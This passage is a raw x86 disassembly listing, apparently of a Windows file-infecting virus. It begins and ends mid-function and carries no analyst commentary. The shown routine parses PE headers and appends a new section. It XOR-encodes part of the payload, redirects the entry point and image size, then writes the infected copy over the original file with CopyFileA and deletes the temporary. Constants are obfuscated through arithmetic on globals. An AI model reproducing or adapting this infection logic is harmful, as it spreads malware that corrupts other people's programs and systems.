		lea	eax, [ebp+var_31EC3]
		mov	[ebp+var_42C], eax
		mov	ecx, [eax+3Ch]
		mov	[ebp+var_84C], ecx
		add	ecx, eax
		mov	[ebp+var_844], ecx
		mov	eax, [ebp+var_8]
		mov	[ebp+var_31F04], eax
		movsx	edx, word_44B1BC
		sub	edx, 6
		cmp	[eax+0D0h], edx
		jz	loc_43CAA4
		mov	edx, [eax+0D4h]
		mov	[ebp+var_31F08], edx
		movsx	ecx, word_44B0D0
		cmp	edx, ecx
		jz	loc_43CAA4
		mov	ecx, 28h
		mov	edi, [ebp+var_840]
		add	edi, 0F8h
		mov	eax, ecx
		mov	edx, [ebp+var_31F04]
		movzx	edx, word ptr [edx+6]
		mov	[ebp+var_31F0C], edx
		mul	edx
		mov	[ebp+var_31F10], eax
		mov	edx, edi
		add	edx, eax
		mov	[ebp+var_31F18], edx
		mov	eax, ecx
		mov	[ebp+var_31F14], eax
		mov	ecx, dword_44B108
		add	ecx, 4
		mul	ecx
		mov	[ebp+var_31F1C], eax
		mov	eax, [ebp+var_31F18]
		mov	edx, [ebp+var_31F1C]
		add	eax, edx
		mov	edx, [ebp+var_31F08]
		add	eax, edx
		mov	edx, [ebp+var_31F04]
		cmp	[edx+54h], eax
		jbe	loc_43CAA4
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		mov	[ebp+var_31F28], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F2C], eax
		mov	eax, [ebp+var_31F28]
		mov	edx, [ebp+var_31F2C]
		add	eax, edx
		mov	[ebp+var_31F20], eax
		mov	[ebp+var_31F30], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_844]
		movzx	ecx, word ptr [ecx+6]
		movsx	edi, word_44B0BC
		sub	edi, 7
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F34], eax
		mov	eax, [ebp+var_31F30]
		mov	edx, [ebp+var_31F34]
		add	eax, edx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0D4h]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F20]
		add	edx, eax
		push	edx
		mov	edx, [ebp+var_31F24]
		add	edx, eax
		push	edx
		call	ds:dword_449634
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		add	eax, 0D0h
		mov	[ebp+var_31F38], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_844]
		movzx	ecx, word ptr [ecx+6]
		mov	edi, dword_44B130
		add	edi, dword_44B144
		sub	edi, 3
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F3C], eax
		mov	eax, [ebp+var_31F38]
		mov	edx, eax
		mov	ecx, [ebp+var_31F3C]
		add	[edx], ecx


loc_43CAA4:				; CODE XREF: sub_43C38A+5A3j
					; sub_43C38A+5BEj ...
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_43DDCD
		mov	[ebp+var_10], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F20], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F20]
		mov	esi, edx
		add	esi, eax
		push	offset byte_44C5CF
		call	sub_4424C1
		push	eax
		push	esi
		call	ds:dword_4471F4
		mov	eax, dword_44B0AC
		add	eax, 1FFFDh
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_8]
		add	eax, 0Dh
		push	eax
		call	sub_43DDCD
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, dword_44B104
		add	eax, 0C0000034h
		movsx	edx, word_44B100
		add	eax, edx
		mov	[esi+24h], eax
		mov	eax, dword_44B164
		add	eax, 6
		movsx	edx, word_44B180
		add	eax, edx
		push	eax
		mov	eax, dword_44B098
		add	eax, dword_44B09C
		sub	eax, 0Fh
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_449640
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1060],	eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_850], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+var_10]
		add	eax, [esi+10h]
		push	eax
		call	sub_43DDCD
		add	esp, 30h
		mov	[ebp+var_10], eax
		mov	eax, dword_44B0EC
		add	eax, 1FFFAh
		add	eax, dword_44B118
		add	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [esi+8]
		mov	[eax+50h], edx
		call	ds:dword_44ABAC
		mov	edi, dword_44B118
		movsx	edx, word_44B180
		add	edi, edx
		sub	edi, 6
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		add	edi, edx
		mov	[ebp+var_1064],	edi
		mov	eax, dword_44B1C8
		sub	eax, 2
		mov	edx, [ebp+var_42C]
		mov	ecx, edi
		xor	ecx, 4Dh
		mov	[edx+eax], cl
		mov	edi, dword_44B1CC
		sub	edi, 3
		mov	ecx, [ebp+arg_8]
		shr	ecx, 9
		mov	[edx+edi], cl
		call	ds:dword_44ABAC
		mov	edi, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F28], edx
		mov	[ebp+var_31F24], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F28]
		mov	[ecx+edi], dl
		call	ds:dword_44ABAC
		mov	edx, dword_44B1B4
		movsx	ecx, word_44B114
		add	edx, ecx
		sub	edx, 2
		add	edi, edx
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F30], edx
		mov	[ebp+var_31F2C], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F30]
		mov	[ecx+edi], dl
		mov	eax, dword_44B15C
		add	eax, 37h
		add	eax, dword_44B144
		mov	[ebp+var_43C], eax
		jmp	short loc_43CCBF
; ---------------------------------------------------------------------------


loc_43CC8A:				; CODE XREF: sub_43C38A+941j
		call	ds:dword_44ABAC
		mov	edi, [ebp+var_43C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F38], edx
		mov	[ebp+var_31F34], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F38]
		mov	[ecx+edi], dl
		inc	[ebp+var_43C]


loc_43CCBF:				; CODE XREF: sub_43C38A+8FEj
		mov	eax, [ebp+var_84C]
		cmp	[ebp+var_43C], eax
		jb	short loc_43CC8A
		push	0Dh
		push	offset dword_44B200
		lea	eax, [ebp+var_31ED0]
		push	eax
		call	ds:dword_449634
		mov	eax, [esi+10h]
		add	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_31ED0]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_449634
		add	esp, 18h
		mov	eax, [esi+14h]
		add	eax, 0Dh
		mov	[ebp+var_1068],	eax
		mov	edx, dword_44B11C
		add	edx, dword_44B0E4
		sub	edx, 3
		add	eax, edx
		mov	[ebp+var_424], eax
		jmp	short loc_43CD3E
; ---------------------------------------------------------------------------


loc_43CD24:				; CODE XREF: sub_43C38A+9C3j
		mov	eax, [ebp+var_424]
		add	eax, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		xor	edx, [ebp+var_1064]
		mov	[eax], dl
		inc	[ebp+var_424]


loc_43CD3E:				; CODE XREF: sub_43C38A+998j
		mov	eax, [ebp+var_1068]
		add	eax, [ebp+arg_8]
		cmp	[ebp+var_424], eax
		jb	short loc_43CD24
		movsx	eax, word_44B148
		add	eax, dword_44B1B8
		sub	eax, 6
		mov	[ebp+var_18], eax
		mov	eax, dword_44B164
		mov	[ebp+var_440], eax
		jmp	loc_43CFC3
; ---------------------------------------------------------------------------


loc_43CD72:				; CODE XREF: sub_43C38A+C49j
		mov	eax, 28h
		mul	[ebp+var_440]
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F40]
		mov	ebx, edx
		add	ebx, eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F44]
		mov	esi, edx
		add	esi, eax
		mov	eax, dword_44B11C
		add	eax, dword_44B1B4
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_43CE1B
		mov	eax, dword_44B1CC
		movsx	edx, word_44B150
		add	eax, edx
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 72h
		jnz	short loc_43CE1B
		mov	eax, dword_44B174
		add	eax, dword_44B1B0
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 63h
		jnz	short loc_43CE1B
		mov	eax, [ebx+14h]
		mov	[ebp+var_1178],	eax
		jmp	loc_43CFBD
; ---------------------------------------------------------------------------


loc_43CE1B:				; CODE XREF: sub_43C38A+A56j
					; sub_43C38A+A6Dj ...
		movsx	eax, word_44B1A8
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_43CE62
		mov	eax, dword_44B104
		sub	eax, 2
		cmp	byte ptr [ebx+eax], 65h
		jnz	short loc_43CE62
		mov	eax, dword_44B1AC
		inc	eax
		movsx	edx, word_44B0D0
		add	eax, edx
		cmp	byte ptr [ebx+eax], 61h
		jnz	short loc_43CE62
		mov	eax, [ebx+14h]
		mov	[ebp+var_117C],	eax
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_1180],	eax
		jmp	loc_43CFBD
; ---------------------------------------------------------------------------


loc_43CE62:				; CODE XREF: sub_43C38A+A9Cj
					; sub_43C38A+AAAj ...
		mov	eax, dword_44B140
		add	eax, dword_44B0B8
		sub	eax, 0Ch
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_43CE9E
		movsx	eax, word_44B0D8
		add	eax, dword_44B1B0
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 69h
		jnz	short loc_43CE9E
		mov	eax, dword_44B0D4
		add	eax, 4
		cmp	byte ptr [ebx+eax], 61h
		jz	loc_43CFBD


loc_43CE9E:				; CODE XREF: sub_43C38A+AEAj
					; sub_43C38A+B00j
		push	ebx
		push	esi
		call	ds:dword_4471F4
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebx+10h]
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebx+24h]
		mov	[esi+24h], eax
		mov	eax, dword_44B0F0
		inc	eax
		add	eax, dword_44B10C
		push	eax
		mov	eax, dword_44B11C
		sub	eax, 3
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	ds:dword_449640
		mov	edi, [ebp+var_18]
		mov	edx, [ebx+0Ch]
		mov	[ebp+edi*4+var_420], edx
		mov	edx, [ebx+8]
		mov	[ebp+edi*4+var_83C], edx
		mov	edx, [esi+0Ch]
		mov	[ebp+edi*4+var_C4C], edx
		mov	edx, [esi+14h]
		mov	[ebp+edi*4+var_1050], edx
		inc	[ebp+var_18]
		mov	eax, [ebx+10h]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_31F3C], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_43DDCD
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_44B0F0
		add	eax, dword_44B1C8
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 64h
		jnz	short loc_43CF6B
		mov	eax, [ebp+var_31F3C]
		cmp	[ebp+var_10], eax
		jbe	short loc_43CF6B
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	[ebp+var_31F48], ecx
		mov	eax, ecx
		add	[esi+8], eax
		mov	eax, ecx
		add	[esi+10h], eax


loc_43CF6B:				; CODE XREF: sub_43C38A+BBFj
					; sub_43C38A+BCAj
		mov	eax, dword_44B158
		add	eax, 0FFAh
		add	eax, dword_44B17C
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, [ebx+8]
		push	eax
		call	sub_43DDCD
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [ebx+8]
		mov	[eax+50h], edx
		push	dword ptr [esi+10h]
		mov	eax, [ebx+14h]
		add	eax, [ebp+var_42C]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	ds:dword_449634
		add	esp, 14h


loc_43CFBD:				; CODE XREF: sub_43C38A+A8Cj
					; sub_43C38A+AD3j ...
		inc	[ebp+var_440]


loc_43CFC3:				; CODE XREF: sub_43C38A+9E3j
		mov	eax, [ebp+var_844]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_440], eax
		jb	loc_43CD72
		mov	eax, [ebp+var_1178]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_14], eax


loc_43CFE8:				; CODE XREF: sub_43C38A+E9Bj
		mov	eax, dword_44B12C
		movsx	edx, word_44B180
		add	eax, edx
		sub	eax, 0Bh
		mov	[ebp+var_1C], eax
		jmp	short loc_43D05A
; ---------------------------------------------------------------------------


loc_43CFFE:				; CODE XREF: sub_43C38A+CD6j
		mov	edi, [ebp+var_1C]
		mov	edx, [ebp+var_14]
		mov	edx, [edx]
		cmp	[ebp+edi*4+var_420], edx
		jnz	short loc_43D01A
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	[ebp+var_C50], eax


loc_43D01A:				; CODE XREF: sub_43C38A+C83j
		mov	edi, [ebp+var_1C]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		mov	edi, [ebp+var_14]
		cmp	edx, [edi]
		jbe	short loc_43D057
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_1050]
		mov	[ebp+var_106C],	edi
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1054],	edi
		jmp	short loc_43D062
; ---------------------------------------------------------------------------


loc_43D057:				; CODE XREF: sub_43C38A+CA9j
		inc	[ebp+var_1C]


loc_43D05A:				; CODE XREF: sub_43C38A+C72j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], eax
		jb	short loc_43CFFE


loc_43D062:				; CODE XREF: sub_43C38A+CCBj
		movsx	eax, word_44B180
		add	eax, dword_44B138
		sub	eax, 0Eh
		mov	[ebp+var_428], eax
		jmp	loc_43D1EB
; ---------------------------------------------------------------------------


loc_43D07D:				; CODE XREF: sub_43C38A+E6Dj
		mov	eax, [ebp+var_428]
		movsx	edx, word_44B090
		add	edx, 7
		add	eax, edx
		add	eax, [ebp+var_14]
		mov	[ebp+var_31F40], eax
		mov	ax, [eax]
		mov	word ptr [ebp+var_31F3C], ax
		movzx	eax, word ptr [ebp+var_31F3C]
		mov	edx, dword_44B0A0
		sub	edx, 4
		cmp	eax, edx
		jz	loc_43D1FD
		movzx	edi, word ptr [ebp+var_31F3C]
		mov	ecx, dword_44B198
		add	ecx, 4
		sar	edi, cl
		mov	word ptr [ebp+var_31F44+2], di
		movzx	edi, word ptr [ebp+var_31F3C]
		mov	edx, dword_44B1CC
		add	edx, dword_44B104
		mov	ecx, edx
		sub	ecx, 3
		shl	edi, cl
		mov	word ptr [ebp+var_31F3C+2], di
		movzx	edi, word ptr [ebp+var_31F3C+2]
		mov	ecx, dword_44B098
		sub	ecx, 3
		sar	edi, cl
		mov	word ptr [ebp+var_31F3C+2], di
		movzx	eax, word ptr [ebp+var_31F3C+2]
		mov	edx, dword_44B10C
		add	edx, dword_44B164
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_43D143
		movsx	eax, word_44B100
		add	eax, dword_44B104
		sub	eax, 0Ch
		cmp	[ebp+var_428], eax
		jnz	loc_43D1FD


loc_43D143:				; CODE XREF: sub_43C38A+D9Bj
		mov	eax, [ebp+var_844]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		movzx	edx, word ptr [ebp+var_31F3C+2]
		add	eax, edx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1054]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F3C+2]
		add	eax, edx
		mov	[ebp+var_31F4C], eax
		sub	eax, [ebp+var_31F48]
		mov	[ebp+var_31F50], eax
		movzx	eax, word ptr [ebp+var_31F44+2]
		mov	edx, dword_44B098
		add	edx, dword_44B18C
		sub	edx, 5
		cmp	eax, edx
		jnz	short loc_43D1D7
		mov	eax, [ebp+var_106C]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F3C+2]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F54], eax
		mov	edx, [ebp+var_31F50]
		add	[eax], edx


loc_43D1D7:				; CODE XREF: sub_43C38A+E20j
		mov	eax, dword_44B17C
		add	eax, dword_44B0C4
		sub	eax, 8
		add	[ebp+var_428], eax


loc_43D1EB:				; CODE XREF: sub_43C38A+CEEj
		mov	eax, [ebp+var_14]
		mov	eax, [eax+4]
		cmp	[ebp+var_428], eax
		jb	loc_43D07D


loc_43D1FD:				; CODE XREF: sub_43C38A+D2Aj
					; sub_43C38A+DB3j
		mov	eax, [ebp+var_14]
		mov	edx, [eax+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_844]
		mov	eax, [eax+0A4h]
		mov	edx, [ebp+var_1178]
		add	edx, [ebp+var_42C]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jb	loc_43CFE8
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+28h]
		mov	[ebp+var_1184],	ecx
		mov	edx, [ebp+var_1060]
		mov	[eax+28h], edx
		add	eax, 60h
		mov	edx, [ebp+var_844]
		mov	edx, [edx+60h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 68h
		mov	edx, [ebp+var_844]
		mov	edx, [edx+68h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		movsx	edx, word_44B0B0
		mov	ecx, dword_44B120
		lea	edx, [edx+ecx+3]
		mov	[eax+44h], dx
		movsx	edx, word_44B110
		mov	ecx, dword_44B0AC
		lea	edx, [edx+ecx+1]
		mov	[eax+1Ah], dl
		movsx	eax, word_44B110
		mov	edx, [ebp+var_8]
		mov	ecx, eax
		add	ecx, eax
		mov	eax, ecx
		sub	eax, 7
		mov	[edx+46h], ax
		mov	eax, [ebp+var_117C]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EDC], eax
		mov	eax, [ebp+var_117C]
		mov	edx, [ebp+var_31EDC]
		add	eax, [edx+1Ch]
		sub	eax, [ebp+var_1180]
		mov	[ebp+var_31EE0], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE4], eax
		mov	eax, [eax]
		mov	[ebp+var_1058],	eax
		movsx	eax, word_44B100
		add	eax, dword_44B0C0
		sub	eax, 0Ah
		mov	[ebp+var_24], eax
		jmp	short loc_43D339
; ---------------------------------------------------------------------------


loc_43D2F8:				; CODE XREF: sub_43C38A+FB5j
		mov	edi, [ebp+var_24]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		cmp	edx, [ebp+var_1058]
		jbe	short loc_43D336
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_420]
		mov	[ebp+var_1188],	edi
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1190],	edi
		jmp	short loc_43D341
; ---------------------------------------------------------------------------


loc_43D336:				; CODE XREF: sub_43C38A+F88j
		inc	[ebp+var_24]


loc_43D339:				; CODE XREF: sub_43C38A+F6Cj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_24], eax
		jb	short loc_43D2F8


loc_43D341:				; CODE XREF: sub_43C38A+FAAj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1190]
		add	eax, [ebp+var_1058]
		sub	eax, [ebp+var_1188]
		mov	[ebp+var_118C],	eax
		mov	eax, [ebp+var_844]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1058]
		mov	[ebp+var_1058],	eax
		mov	eax, [ebp+var_850]
		mov	[ebp+var_C], eax
		jmp	loc_43D5F8
; ---------------------------------------------------------------------------


loc_43D382:				; CODE XREF: sub_43C38A+127Aj
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F3C], edx
		mov	ecx, dword_44B0F8
		movzx	edi, byte ptr [edx+eax]
		movsx	edx, word_44B150
		lea	edx, [edx+ecx+0E2h]
		cmp	edi, edx
		jnz	loc_43D4CD
		mov	edx, dword_44B188
		add	edx, dword_44B0C0
		mov	edi, eax
		add	edi, edx
		mov	edx, [ebp+var_31F3C]
		movzx	edx, byte ptr [edx+edi]
		movsx	edi, word_44B0D0
		add	edi, dword_44B1B0
		cmp	edx, edi
		jnz	loc_43D4CD
		mov	edx, eax
		add	edx, ecx
		mov	ecx, [ebp+var_31F3C]
		movzx	edx, byte ptr [ecx+edx]
		movsx	ecx, word_44B168
		movsx	edi, word_44B0F4
		add	ecx, edi
		sub	ecx, 11h
		cmp	edx, ecx
		jnz	loc_43D4CD
		mov	edx, dword_44B1B4
		add	edx, 2
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F3C]
		movzx	edx, byte ptr [edx+ecx]
		cmp	edx, dword_44B108
		jnz	loc_43D4CD
		mov	edx, dword_44B1AC
		add	edx, dword_44B1A0
		sub	edx, 6
		add	eax, edx
		mov	edx, [ebp+var_31F3C]
		movzx	eax, byte ptr [edx+eax]
		movsx	edx, word_44B114
		movsx	ecx, word_44B154
		add	edx, ecx
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	short loc_43D4CD
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1184]
		mov	[ebp+var_31F44], eax
		mov	eax, dword_44B130
		add	eax, 0FFFFFFFFh
		sub	eax, [ebp+var_31F40]
		add	eax, [ebp+var_31F44]
		movsx	edx, word_44B0D0
		add	edx, 4
		sub	eax, edx
		mov	[ebp+var_31F48], eax
		mov	edi, dword_44B17C
		mov	edx, [ebp+var_C]
		mov	ecx, dword_44B0C4
		sub	ecx, 3
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-18h], ecx


loc_43D4CD:				; CODE XREF: sub_43C38A+101Ej
					; sub_43C38A+104Dj ...
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		movzx	ecx, byte ptr [edx+eax]
		mov	edi, dword_44B1A4
		add	edi, 0E0h
		add	edi, dword_44B0B4
		cmp	ecx, edi
		jnz	loc_43D5F5
		mov	ecx, dword_44B10C
		sub	ecx, 6
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_44B140
		sub	edi, 8
		cmp	ecx, edi
		jnz	loc_43D5F5
		movsx	ecx, word_44B110
		sub	ecx, 2
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		movsx	edi, word_44B1A8
		cmp	ecx, edi
		jnz	loc_43D5F5
		movsx	ecx, word_44B128
		add	ecx, 3
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		movsx	edi, word_44B0B0
		sub	edi, 8
		cmp	ecx, edi
		jnz	loc_43D5F5
		add	eax, dword_44B0B8
		movzx	eax, byte ptr [edx+eax]
		mov	edx, dword_44B144
		sub	edx, 5
		cmp	eax, edx
		jnz	loc_43D5F5
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_118C]
		mov	[ebp+var_31F44], eax
		mov	eax, dword_44B0F0
		add	eax, 0FFFFFFFBh
		sub	eax, [ebp+var_31F40]
		add	eax, [ebp+var_31F44]
		movsx	edx, word_44B0B0
		sub	edx, 4
		sub	eax, edx
		mov	[ebp+var_31F48], eax
		mov	edi, dword_44B098
		movsx	edx, word_44B19C
		mov	ecx, edi
		add	ecx, edx
		mov	edx, [ebp+var_C]
		movsx	eax, word_44B1BC
		add	eax, edi
		mov	edi, eax
		sub	edi, 0Ch
		add	edx, edi
		mov	edi, edx
		add	edi, [ebp+var_4]
		mov	edx, [ebp+var_31F48]
		mov	[edi+ecx*4-34h], edx


loc_43D5F5:				; CODE XREF: sub_43C38A+1161j
					; sub_43C38A+1183j ...
		inc	[ebp+var_C]


loc_43D5F8:				; CODE XREF: sub_43C38A+FF3j
		mov	eax, [ebp+var_850]
		add	eax, 0Dh
		cmp	[ebp+var_C], eax
		jb	loc_43D382
		push	[ebp+var_1070]
		call	ds:dword_449650	; CloseHandle
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_4471F4
		add	esp, 8
		lea	ecx, [ebp+var_116F]
		or	eax, 0FFFFFFFFh


loc_43D632:				; CODE XREF: sub_43C38A+12ADj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D632
		mov	[ebp+var_31ED4], eax
		mov	edx, dword_44B198
		add	edx, dword_44B158
		sub	edx, 5
		sub	eax, edx
		mov	[ebp+eax+var_116F], 69h
		mov	eax, [ebp+var_31ED4]
		mov	edx, dword_44B0C0
		movsx	ecx, word_44B180
		add	edx, ecx
		sub	edx, 5
		sub	eax, edx
		mov	[ebp+eax+var_116F], 76h
		mov	eax, [ebp+var_31ED4]
		mov	edx, dword_44B140
		sub	edx, 7
		sub	eax, edx
		mov	[ebp+eax+var_116F], 72h
		push	0
		mov	eax, dword_44B098
		movsx	edx, word_44B128
		add	eax, edx
		sub	eax, 7
		push	eax
		push	2
		push	0
		mov	eax, dword_44B18C
		add	eax, dword_44B1B0
		sub	eax, 1
		push	eax
		push	40000000h
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_44A788	; CreateFileA
		mov	[ebp+var_1070],	eax
		push	0
		lea	eax, [ebp+var_31ED8]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	ds:dword_44AB8C	; WriteFile
		push	[ebp+var_1070]
		call	ds:dword_449650	; CloseHandle
		push	[ebp+var_4]
		call	ds:dword_447618	; LocalFree
		push	0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_448364	; CopyFileA
		lea	eax, [ebp+var_116F]
		push	eax
		call	ds:dword_445008	; DeleteFileA
		mov	eax, 1
		jmp	short loc_43D73F
; ---------------------------------------------------------------------------


loc_43D728:				; CODE XREF: sub_43C38A+BAj
					; sub_43C38A+D4j ...
		push	[ebp+var_1070]
		call	ds:dword_449650	; CloseHandle
		push	[ebp+var_4]
		call	ds:dword_447618	; LocalFree
		xor	eax, eax


loc_43D73F:				; CODE XREF: sub_43C38A+56j
					; sub_43C38A+139Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C38A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D744	proc near		; CODE XREF: sub_43B780+197p
					; sub_43B780+23Bp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43D759:				; CODE XREF: sub_43D744+1Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D759
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax]
		or	eax, 0FFFFFFFFh


loc_43D76B:				; CODE XREF: sub_43D744+2Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D76B
		mov	esi, eax
		mov	eax, dword_44B104
		add	eax, dword_44B164
		sub	eax, 3
		mov	[ebp+var_4], eax
		jmp	short loc_43D7DF
; ---------------------------------------------------------------------------


loc_43D787:				; CODE XREF: sub_43D744+A1j
		movsx	eax, word_44B19C
		mov	ebx, eax
		add	ebx, dword_44B160
		sub	ebx, 0Eh
		mov	eax, dword_44B10C
		mov	edi, eax
		add	edi, dword_44B0A0
		sub	edi, 0Bh
		jmp	short loc_43D7D8
; ---------------------------------------------------------------------------


